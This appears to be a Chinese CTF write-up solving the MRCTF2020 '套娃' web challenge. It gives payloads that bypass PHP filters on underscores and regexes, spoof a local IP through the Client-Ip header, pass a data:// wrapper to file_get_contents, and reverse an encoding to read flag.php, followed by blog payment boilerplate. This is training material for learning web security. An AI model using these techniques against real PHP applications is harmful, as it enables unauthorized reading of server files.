[MRCTF2020]套娃 1

第一层

在这里插入图片描述
查看源码

$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){

    die('Y0u are So cutE!');

}

if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){

    echo "you are going to the next ~";

}

$_SERVER函数的用法

$_SERVER 是一个超全局变量,在 PHP 中用于访问服务器环境中的各种信息。它是一个关联数组,包含了诸如请求头、路径和脚本位置等信息。
以下是 $_SERVER 常用的一些键(key)和它们的含义:

1$_SERVER['PHP_SELF']:
    当前执行脚本的文件名,相对于网站根目录。
2$_SERVER['SERVER_NAME']:
    当前运行脚本所在服务器主机的名字。
3$_SERVER['HTTP_HOST']:
    当前请求的 Host 头部的内容,用于指定服务器的域名。
4$_SERVER['REQUEST_METHOD']:
    当前请求的 HTTP 方法(例如 GETPOSTHEADPUT 等)。
5$_SERVER['QUERY_STRING']:
    查询字符串(如果有的话),例如 id=10&page=2 中的 id=10&page=2 部分。
6$_SERVER['REMOTE_ADDR']:
    客户端的 IP 地址。
7$_SERVER['HTTP_USER_AGENT']:
    发出请求的用户代理的字符串(浏览器等客户端信息)。
8$_SERVER['REQUEST_URI']URI 的完整请求路径,包括查询字符串。
9$_SERVER['SCRIPT_FILENAME']:
    当前执行脚本的绝对路径。
10$_SERVER['SCRIPT_NAME']:
    当前执行脚本的路径。
11$_SERVER['HTTPS']:
    如果是通过 HTTPS 连接,则为 'on',否则为空。
12$_SERVER['SERVER_PORT']:
    服务器端口号(默认为 80)。

代码过滤了如"id=10&page=2",也就是传入的变量名和参数中的"_“和”%5f",可以使用’.'或者空格绕过
对于正则表达式"/^23333 / " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和" /",开头结尾都被""""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过

payload:?b+u+p+t=23333%0a

在这里插入图片描述

第二层

访问:/secrettw.php
在这里插入图片描述
查看源代码在这里插入图片描述
将内容复制到控制台执行在这里插入图片描述
需要post传入Merak,随便传一个值,又显示出一段代码

第三层

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

ip需要本地访问:
Client-Ip:127.0.0.1

2333文件中的内容需要为:‘todat is a happy day’,可以使用伪协议
?2333=data://text/plain,todat+is+a+happy+day

file的值经过一段脚本处理后,读取文件flie的内容
脚本内容:base64解码——》转化为ascii码+i2——》转换为字符串
我们要做的:将"flag.php"转化为ascii码-i
2——》base64加密
脚本

<?php
$a = 'flag.php';
$re = '';
for($i=0;$i<strlen($a);$i++){
    $re .= chr( ord ($a[$i]) - $i*2);
}
$re = base64_encode($re);
echo $re;

?>

值:flag=ZmpdYSZmXGI=

将三个值都传入后得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值